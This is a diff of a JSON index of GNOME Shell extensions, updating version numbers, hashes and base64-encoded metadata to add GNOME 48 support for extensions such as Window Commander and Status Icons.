-    "47": {"version": "4", "sha256": "1wxqm85h6sjviy5kywb5m7l8qgc5ld1wm3l652yqk5isranqryrq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByb3ZpZGVzIGEgRC1CdXMgaW50ZXJmYWNlIGZvciBtYW5hZ2luZyBhbmQgY29udHJvbGxpbmcgd2luZG93cywgaW5jbHVkaW5nIGxpc3RpbmcsIHJlc2l6aW5nLCBtb3ZpbmcsIGFuZCB3b3Jrc3BhY2UgbWFuYWdlbWVudCIsCiAgIm5hbWUiOiAiV2luZG93IENvbW1hbmRlciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2duaWtvbGFvcy93aW5kb3ctY29tbWFuZGVyIiwKICAidXVpZCI6ICJ3aW5kb3ctY29tbWFuZGVyQGduaWtvbGFvcy5nciIsCiAgInZlcnNpb24iOiA0Cn0="}
+    "45": {"version": "6", "sha256": "1y1bbkqa8h0mgpidz0fx49qizhqrcjyjmi1szv8i4arn1pcxp4ac", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByb3ZpZGVzIGEgRC1CdXMgaW50ZXJmYWNlIGZvciBtYW5hZ2luZyBhbmQgY29udHJvbGxpbmcgd2luZG93cywgaW5jbHVkaW5nIGxpc3RpbmcsIHJlc2l6aW5nLCBtb3ZpbmcsIGFuZCB3b3Jrc3BhY2UgbWFuYWdlbWVudCIsCiAgIm5hbWUiOiAiV2luZG93IENvbW1hbmRlciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9nbmlrb2xhb3Mvd2luZG93LWNvbW1hbmRlciIsCiAgInV1aWQiOiAid2luZG93LWNvbW1hbmRlckBnbmlrb2xhb3MuZ3IiLAogICJ2ZXJzaW9uIjogNgp9"},
+    "46": {"version": "6", "sha256": "1y1bbkqa8h0mgpidz0fx49qizhqrcjyjmi1szv8i4arn1pcxp4ac", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByb3ZpZGVzIGEgRC1CdXMgaW50ZXJmYWNlIGZvciBtYW5hZ2luZyBhbmQgY29udHJvbGxpbmcgd2luZG93cywgaW5jbHVkaW5nIGxpc3RpbmcsIHJlc2l6aW5nLCBtb3ZpbmcsIGFuZCB3b3Jrc3BhY2UgbWFuYWdlbWVudCIsCiAgIm5hbWUiOiAiV2luZG93IENvbW1hbmRlciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9nbmlrb2xhb3Mvd2luZG93LWNvbW1hbmRlciIsCiAgInV1aWQiOiAid2luZG93LWNvbW1hbmRlckBnbmlrb2xhb3MuZ3IiLAogICJ2ZXJzaW9uIjogNgp9"},
+    "47": {"version": "6", "sha256": "1y1bbkqa8h0mgpidz0fx49qizhqrcjyjmi1szv8i4arn1pcxp4ac", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByb3ZpZGVzIGEgRC1CdXMgaW50ZXJmYWNlIGZvciBtYW5hZ2luZyBhbmQgY29udHJvbGxpbmcgd2luZG93cywgaW5jbHVkaW5nIGxpc3RpbmcsIHJlc2l6aW5nLCBtb3ZpbmcsIGFuZCB3b3Jrc3BhY2UgbWFuYWdlbWVudCIsCiAgIm5hbWUiOiAiV2luZG93IENvbW1hbmRlciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9nbmlrb2xhb3Mvd2luZG93LWNvbW1hbmRlciIsCiAgInV1aWQiOiAid2luZG93LWNvbW1hbmRlckBnbmlrb2xhb3MuZ3IiLAogICJ2ZXJzaW9uIjogNgp9"},
+    "48": {"version": "6", "sha256": "1y1bbkqa8h0mgpidz0fx49qizhqrcjyjmi1szv8i4arn1pcxp4ac", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByb3ZpZGVzIGEgRC1CdXMgaW50ZXJmYWNlIGZvciBtYW5hZ2luZyBhbmQgY29udHJvbGxpbmcgd2luZG93cywgaW5jbHVkaW5nIGxpc3RpbmcsIHJlc2l6aW5nLCBtb3ZpbmcsIGFuZCB3b3Jrc3BhY2UgbWFuYWdlbWVudCIsCiAgIm5hbWUiOiAiV2luZG93IENvbW1hbmRlciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9nbmlrb2xhb3Mvd2luZG93LWNvbW1hbmRlciIsCiAgInV1aWQiOiAid2luZG93LWNvbW1hbmRlckBnbmlrb2xhb3MuZ3IiLAogICJ2ZXJzaW9uIjogNgp9"}
   }}
 , {"uuid": "disable_switcher_popup_hover@Someone0nEarth-on-github", "name": "Disable Hover On App & Window Switcher Popups for 45+", "pname": "disable-hover-on-app-window-switcher-popups-for-45", "description": "Prevents the mouse cursor interfering with either the App Switcher or the Window Switcher popups.\nNote: It doesn't prevent mouse clicks.\n\nThese are the switcher popups that are invoked from keyboard shortcuts, e.g. Alt+Tab or Super+Tab.\n\nBased on https://extensions.gnome.org/extension/4714/disable-hover-on-app-window-switcher-popups/", "link": "https://extensions.gnome.org/extension/7305/disable-hover-on-app-window-switcher-popups-for-45/", "shell_version_map": {
-    "45": {"version": "1", "sha256": "0wnr016337lx3918gbspr9dvfr9z19df46ij29qrqlgwrazl6sr4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByZXZlbnRzIHRoZSBtb3VzZSBjdXJzb3IgaW50ZXJmZXJpbmcgd2l0aCBlaXRoZXIgdGhlIEFwcCBTd2l0Y2hlciBvciB0aGUgV2luZG93IFN3aXRjaGVyIHBvcHVwcy5cbk5vdGU6IEl0IGRvZXNuJ3QgcHJldmVudCBtb3VzZSBjbGlja3MuXG5cblRoZXNlIGFyZSB0aGUgc3dpdGNoZXIgcG9wdXBzIHRoYXQgYXJlIGludm9rZWQgZnJvbSBrZXlib2FyZCBzaG9ydGN1dHMsIGUuZy4gQWx0K1RhYiBvciBTdXBlcitUYWIuXG5cbkJhc2VkIG9uIGh0dHBzOi8vZXh0ZW5zaW9ucy5nbm9tZS5vcmcvZXh0ZW5zaW9uLzQ3MTQvZGlzYWJsZS1ob3Zlci1vbi1hcHAtd2luZG93LXN3aXRjaGVyLXBvcHVwcy8iLAogICJuYW1lIjogIkRpc2FibGUgSG92ZXIgT24gQXBwICYgV2luZG93IFN3aXRjaGVyIFBvcHVwcyBmb3IgNDUrIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vU29tZW9uZTBuRWFydGgvZ25vbWUtZGlzYWJsZS1zd2l0Y2hlci1wb3B1cC1ob3ZlciIsCiAgInV1aWQiOiAiZGlzYWJsZV9zd2l0Y2hlcl9wb3B1cF9ob3ZlckBTb21lb25lMG5FYXJ0aC1vbi1naXRodWIiLAogICJ2ZXJzaW9uIjogMQp9"},
-    "46": {"version": "1", "sha256": "0wnr016337lx3918gbspr9dvfr9z19df46ij29qrqlgwrazl6sr4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByZXZlbnRzIHRoZSBtb3VzZSBjdXJzb3IgaW50ZXJmZXJpbmcgd2l0aCBlaXRoZXIgdGhlIEFwcCBTd2l0Y2hlciBvciB0aGUgV2luZG93IFN3aXRjaGVyIHBvcHVwcy5cbk5vdGU6IEl0IGRvZXNuJ3QgcHJldmVudCBtb3VzZSBjbGlja3MuXG5cblRoZXNlIGFyZSB0aGUgc3dpdGNoZXIgcG9wdXBzIHRoYXQgYXJlIGludm9rZWQgZnJvbSBrZXlib2FyZCBzaG9ydGN1dHMsIGUuZy4gQWx0K1RhYiBvciBTdXBlcitUYWIuXG5cbkJhc2VkIG9uIGh0dHBzOi8vZXh0ZW5zaW9ucy5nbm9tZS5vcmcvZXh0ZW5zaW9uLzQ3MTQvZGlzYWJsZS1ob3Zlci1vbi1hcHAtd2luZG93LXN3aXRjaGVyLXBvcHVwcy8iLAogICJuYW1lIjogIkRpc2FibGUgSG92ZXIgT24gQXBwICYgV2luZG93IFN3aXRjaGVyIFBvcHVwcyBmb3IgNDUrIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vU29tZW9uZTBuRWFydGgvZ25vbWUtZGlzYWJsZS1zd2l0Y2hlci1wb3B1cC1ob3ZlciIsCiAgInV1aWQiOiAiZGlzYWJsZV9zd2l0Y2hlcl9wb3B1cF9ob3ZlckBTb21lb25lMG5FYXJ0aC1vbi1naXRodWIiLAogICJ2ZXJzaW9uIjogMQp9"},
-    "47": {"version": "1", "sha256": "0wnr016337lx3918gbspr9dvfr9z19df46ij29qrqlgwrazl6sr4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByZXZlbnRzIHRoZSBtb3VzZSBjdXJzb3IgaW50ZXJmZXJpbmcgd2l0aCBlaXRoZXIgdGhlIEFwcCBTd2l0Y2hlciBvciB0aGUgV2luZG93IFN3aXRjaGVyIHBvcHVwcy5cbk5vdGU6IEl0IGRvZXNuJ3QgcHJldmVudCBtb3VzZSBjbGlja3MuXG5cblRoZXNlIGFyZSB0aGUgc3dpdGNoZXIgcG9wdXBzIHRoYXQgYXJlIGludm9rZWQgZnJvbSBrZXlib2FyZCBzaG9ydGN1dHMsIGUuZy4gQWx0K1RhYiBvciBTdXBlcitUYWIuXG5cbkJhc2VkIG9uIGh0dHBzOi8vZXh0ZW5zaW9ucy5nbm9tZS5vcmcvZXh0ZW5zaW9uLzQ3MTQvZGlzYWJsZS1ob3Zlci1vbi1hcHAtd2luZG93LXN3aXRjaGVyLXBvcHVwcy8iLAogICJuYW1lIjogIkRpc2FibGUgSG92ZXIgT24gQXBwICYgV2luZG93IFN3aXRjaGVyIFBvcHVwcyBmb3IgNDUrIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vU29tZW9uZTBuRWFydGgvZ25vbWUtZGlzYWJsZS1zd2l0Y2hlci1wb3B1cC1ob3ZlciIsCiAgInV1aWQiOiAiZGlzYWJsZV9zd2l0Y2hlcl9wb3B1cF9ob3ZlckBTb21lb25lMG5FYXJ0aC1vbi1naXRodWIiLAogICJ2ZXJzaW9uIjogMQp9"}
+    "45": {"version": "2", "sha256": "1jjr10qdcfsnpfvl3bcbcw1fvczz45wxpfdgh9r2lfjl7jss08rw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByZXZlbnRzIHRoZSBtb3VzZSBjdXJzb3IgaW50ZXJmZXJpbmcgd2l0aCBlaXRoZXIgdGhlIEFwcCBTd2l0Y2hlciBvciB0aGUgV2luZG93IFN3aXRjaGVyIHBvcHVwcy5cbk5vdGU6IEl0IGRvZXNuJ3QgcHJldmVudCBtb3VzZSBjbGlja3MuXG5cblRoZXNlIGFyZSB0aGUgc3dpdGNoZXIgcG9wdXBzIHRoYXQgYXJlIGludm9rZWQgZnJvbSBrZXlib2FyZCBzaG9ydGN1dHMsIGUuZy4gQWx0K1RhYiBvciBTdXBlcitUYWIuXG5cbkJhc2VkIG9uIGh0dHBzOi8vZXh0ZW5zaW9ucy5nbm9tZS5vcmcvZXh0ZW5zaW9uLzQ3MTQvZGlzYWJsZS1ob3Zlci1vbi1hcHAtd2luZG93LXN3aXRjaGVyLXBvcHVwcy8iLAogICJuYW1lIjogIkRpc2FibGUgSG92ZXIgT24gQXBwICYgV2luZG93IFN3aXRjaGVyIFBvcHVwcyBmb3IgNDUrIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1NvbWVvbmUwbkVhcnRoL2dub21lLWRpc2FibGUtc3dpdGNoZXItcG9wdXAtaG92ZXIiLAogICJ1dWlkIjogImRpc2FibGVfc3dpdGNoZXJfcG9wdXBfaG92ZXJAU29tZW9uZTBuRWFydGgtb24tZ2l0aHViIiwKICAidmVyc2lvbiI6IDIKfQ=="},
+    "46": {"version": "2", "sha256": "1jjr10qdcfsnpfvl3bcbcw1fvczz45wxpfdgh9r2lfjl7jss08rw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByZXZlbnRzIHRoZSBtb3VzZSBjdXJzb3IgaW50ZXJmZXJpbmcgd2l0aCBlaXRoZXIgdGhlIEFwcCBTd2l0Y2hlciBvciB0aGUgV2luZG93IFN3aXRjaGVyIHBvcHVwcy5cbk5vdGU6IEl0IGRvZXNuJ3QgcHJldmVudCBtb3VzZSBjbGlja3MuXG5cblRoZXNlIGFyZSB0aGUgc3dpdGNoZXIgcG9wdXBzIHRoYXQgYXJlIGludm9rZWQgZnJvbSBrZXlib2FyZCBzaG9ydGN1dHMsIGUuZy4gQWx0K1RhYiBvciBTdXBlcitUYWIuXG5cbkJhc2VkIG9uIGh0dHBzOi8vZXh0ZW5zaW9ucy5nbm9tZS5vcmcvZXh0ZW5zaW9uLzQ3MTQvZGlzYWJsZS1ob3Zlci1vbi1hcHAtd2luZG93LXN3aXRjaGVyLXBvcHVwcy8iLAogICJuYW1lIjogIkRpc2FibGUgSG92ZXIgT24gQXBwICYgV2luZG93IFN3aXRjaGVyIFBvcHVwcyBmb3IgNDUrIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1NvbWVvbmUwbkVhcnRoL2dub21lLWRpc2FibGUtc3dpdGNoZXItcG9wdXAtaG92ZXIiLAogICJ1dWlkIjogImRpc2FibGVfc3dpdGNoZXJfcG9wdXBfaG92ZXJAU29tZW9uZTBuRWFydGgtb24tZ2l0aHViIiwKICAidmVyc2lvbiI6IDIKfQ=="},
+    "47": {"version": "2", "sha256": "1jjr10qdcfsnpfvl3bcbcw1fvczz45wxpfdgh9r2lfjl7jss08rw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByZXZlbnRzIHRoZSBtb3VzZSBjdXJzb3IgaW50ZXJmZXJpbmcgd2l0aCBlaXRoZXIgdGhlIEFwcCBTd2l0Y2hlciBvciB0aGUgV2luZG93IFN3aXRjaGVyIHBvcHVwcy5cbk5vdGU6IEl0IGRvZXNuJ3QgcHJldmVudCBtb3VzZSBjbGlja3MuXG5cblRoZXNlIGFyZSB0aGUgc3dpdGNoZXIgcG9wdXBzIHRoYXQgYXJlIGludm9rZWQgZnJvbSBrZXlib2FyZCBzaG9ydGN1dHMsIGUuZy4gQWx0K1RhYiBvciBTdXBlcitUYWIuXG5cbkJhc2VkIG9uIGh0dHBzOi8vZXh0ZW5zaW9ucy5nbm9tZS5vcmcvZXh0ZW5zaW9uLzQ3MTQvZGlzYWJsZS1ob3Zlci1vbi1hcHAtd2luZG93LXN3aXRjaGVyLXBvcHVwcy8iLAogICJuYW1lIjogIkRpc2FibGUgSG92ZXIgT24gQXBwICYgV2luZG93IFN3aXRjaGVyIFBvcHVwcyBmb3IgNDUrIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1NvbWVvbmUwbkVhcnRoL2dub21lLWRpc2FibGUtc3dpdGNoZXItcG9wdXAtaG92ZXIiLAogICJ1dWlkIjogImRpc2FibGVfc3dpdGNoZXJfcG9wdXBfaG92ZXJAU29tZW9uZTBuRWFydGgtb24tZ2l0aHViIiwKICAidmVyc2lvbiI6IDIKfQ=="},
+    "48": {"version": "2", "sha256": "1jjr10qdcfsnpfvl3bcbcw1fvczz45wxpfdgh9r2lfjl7jss08rw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlByZXZlbnRzIHRoZSBtb3VzZSBjdXJzb3IgaW50ZXJmZXJpbmcgd2l0aCBlaXRoZXIgdGhlIEFwcCBTd2l0Y2hlciBvciB0aGUgV2luZG93IFN3aXRjaGVyIHBvcHVwcy5cbk5vdGU6IEl0IGRvZXNuJ3QgcHJldmVudCBtb3VzZSBjbGlja3MuXG5cblRoZXNlIGFyZSB0aGUgc3dpdGNoZXIgcG9wdXBzIHRoYXQgYXJlIGludm9rZWQgZnJvbSBrZXlib2FyZCBzaG9ydGN1dHMsIGUuZy4gQWx0K1RhYiBvciBTdXBlcitUYWIuXG5cbkJhc2VkIG9uIGh0dHBzOi8vZXh0ZW5zaW9ucy5nbm9tZS5vcmcvZXh0ZW5zaW9uLzQ3MTQvZGlzYWJsZS1ob3Zlci1vbi1hcHAtd2luZG93LXN3aXRjaGVyLXBvcHVwcy8iLAogICJuYW1lIjogIkRpc2FibGUgSG92ZXIgT24gQXBwICYgV2luZG93IFN3aXRjaGVyIFBvcHVwcyBmb3IgNDUrIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1NvbWVvbmUwbkVhcnRoL2dub21lLWRpc2FibGUtc3dpdGNoZXItcG9wdXAtaG92ZXIiLAogICJ1dWlkIjogImRpc2FibGVfc3dpdGNoZXJfcG9wdXBfaG92ZXJAU29tZW9uZTBuRWFydGgtb24tZ2l0aHViIiwKICAidmVyc2lvbiI6IDIKfQ=="}
   }}
 , {"uuid": "display-adjustment@w8jcik.gitlab.com", "name": "Display Adjustment", "pname": "displays-adjustments", "description": "Offers sliders to control external displays' brightness and contrast through DDC. Extension requires ddcutil-service to be installed.\nInstallation process of ddcutil-service is quick and non-intrusive. The details can be found at https://gitlab.com/w8jcik/display-adjustment#installation-of-ddcutil-service. ddcutil-service allows more responsive communication with the displays than ddcutil.", "link": "https://extensions.gnome.org/extension/7308/displays-adjustments/", "shell_version_map": {
     "46": {"version": "9", "sha256": "11dwnjnd00ahzbsp3s5l38b14zmphna8znmswi00gxlhfq0kfs6l", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9mZmVycyBzbGlkZXJzIHRvIGNvbnRyb2wgZXh0ZXJuYWwgZGlzcGxheXMnIGJyaWdodG5lc3MgYW5kIGNvbnRyYXN0IHRocm91Z2ggRERDLiBFeHRlbnNpb24gcmVxdWlyZXMgZGRjdXRpbC1zZXJ2aWNlIHRvIGJlIGluc3RhbGxlZC5cbkluc3RhbGxhdGlvbiBwcm9jZXNzIG9mIGRkY3V0aWwtc2VydmljZSBpcyBxdWljayBhbmQgbm9uLWludHJ1c2l2ZS4gVGhlIGRldGFpbHMgY2FuIGJlIGZvdW5kIGF0IGh0dHBzOi8vZ2l0bGFiLmNvbS93OGpjaWsvZGlzcGxheS1hZGp1c3RtZW50I2luc3RhbGxhdGlvbi1vZi1kZGN1dGlsLXNlcnZpY2UuIGRkY3V0aWwtc2VydmljZSBhbGxvd3MgbW9yZSByZXNwb25zaXZlIGNvbW11bmljYXRpb24gd2l0aCB0aGUgZGlzcGxheXMgdGhhbiBkZGN1dGlsLiIsCiAgIm5hbWUiOiAiRGlzcGxheSBBZGp1c3RtZW50IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5jb20vdzhqY2lrL2Rpc3BsYXktYWRqdXN0bWVudCIsCiAgInV1aWQiOiAiZGlzcGxheS1hZGp1c3RtZW50QHc4amNpay5naXRsYWIuY29tIiwKICAidmVyc2lvbiI6IDksCiAgInZlcnNpb24tbmFtZSI6ICIwLjAuNiIKfQ=="},
@@ -8510,8 +8536,8 @@
     "46": {"version": "2", "sha256": "1qwgsphfv3y46fslk01fz0zz73d69h24ag6c8v17fppm1qlgr1hs", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbG93cyBhcnJhbmdpbmcgcGFuZWwgZWxlbWVudHMgdG8gbGVmdCBvciByaWdodCBwb3NpdGlvbnMiLAogICJuYW1lIjogIlBhbmVsIE9yZ2FuaXplciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wYW5lbC1vcmdhbml6ZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2F1dGhvcmxhdXJlbi90b3AtcGFuZWwtZHJhZy1wcmluY2VvbGEuY29tIiwKICAidXVpZCI6ICJ0b3AtcGFuZWwtZHJhZ0BwcmluY2VvbGEuY29tIiwKICAidmVyc2lvbiI6IDIKfQ=="}
   }}
 , {"uuid": "status-icons@gnome-shell-extensions.gcampax.github.com", "name": "Status Icons", "pname": "status-icons", "description": "Show status icons in the top bar", "link": "https://extensions.gnome.org/extension/7332/status-icons/", "shell_version_map": {
-    "47": {"version": "2", "sha256": "0yr2i22pkkpkf1kq0jnzzs83h98mz1g33cgl8swgh4fn97kcfmdg", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3cgc3RhdHVzIGljb25zIGluIHRoZSB0b3AgYmFyIiwKICAiZXh0ZW5zaW9uLWlkIjogInN0YXR1cy1pY29ucyIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1zdGF0dXMtaWNvbnMiLAogICJuYW1lIjogIlN0YXR1cyBJY29ucyIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zdGF0dXMtaWNvbnMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAic3RhdHVzLWljb25zQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDIKfQ=="},
-    "48": {"version": "4", "sha256": "1vscly75jm6i8a9pb4fs1q5za8wx4v0mkdxppn74ddiw8pj19mdl", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3cgc3RhdHVzIGljb25zIGluIHRoZSB0b3AgYmFyIiwKICAiZXh0ZW5zaW9uLWlkIjogInN0YXR1cy1pY29ucyIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1zdGF0dXMtaWNvbnMiLAogICJuYW1lIjogIlN0YXR1cyBJY29ucyIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zdGF0dXMtaWNvbnMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAic3RhdHVzLWljb25zQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDQKfQ=="}
+    "47": {"version": "6", "sha256": "08i54m3ygvh305jyjj7f6cwya6ybcpxk3av6pw9377c8fil4qrg3", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3cgc3RhdHVzIGljb25zIGluIHRoZSB0b3AgYmFyIiwKICAiZXh0ZW5zaW9uLWlkIjogInN0YXR1cy1pY29ucyIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1zdGF0dXMtaWNvbnMiLAogICJuYW1lIjogIlN0YXR1cyBJY29ucyIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zdGF0dXMtaWNvbnMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAic3RhdHVzLWljb25zQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDYKfQ=="},
+    "48": {"version": "5", "sha256": "1icmmk6nrcgm42a8av04hswg8jbac9ks70iqy9g4lg5hsm978dcg", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3cgc3RhdHVzIGljb25zIGluIHRoZSB0b3AgYmFyIiwKICAiZXh0ZW5zaW9uLWlkIjogInN0YXR1cy1pY29ucyIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1zdGF0dXMtaWNvbnMiLAogICJuYW1lIjogIlN0YXR1cyBJY29ucyIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zdGF0dXMtaWNvbnMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAic3RhdHVzLWljb25zQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDUKfQ=="}
   }}
 , {"uuid": "penguin-ai-chatbot@coffeecionado.gitlab.io", "name": "Penguin: AI Chatbot", "pname": "penguin-ai-chatbot", "description": "A GNOME Shell extension that provides a chatbot interface using various LLM providers, including Anthropic, OpenAI, Gemini, and OpenRouter. Features include multiple provider support, customizable models, chat history, customizable appearance, a keyboard shortcut, and copy-to-clipboard functionality.", "link": "https://extensions.gnome.org/extension/7338/penguin-ai-chatbot/", "shell_version_map": {
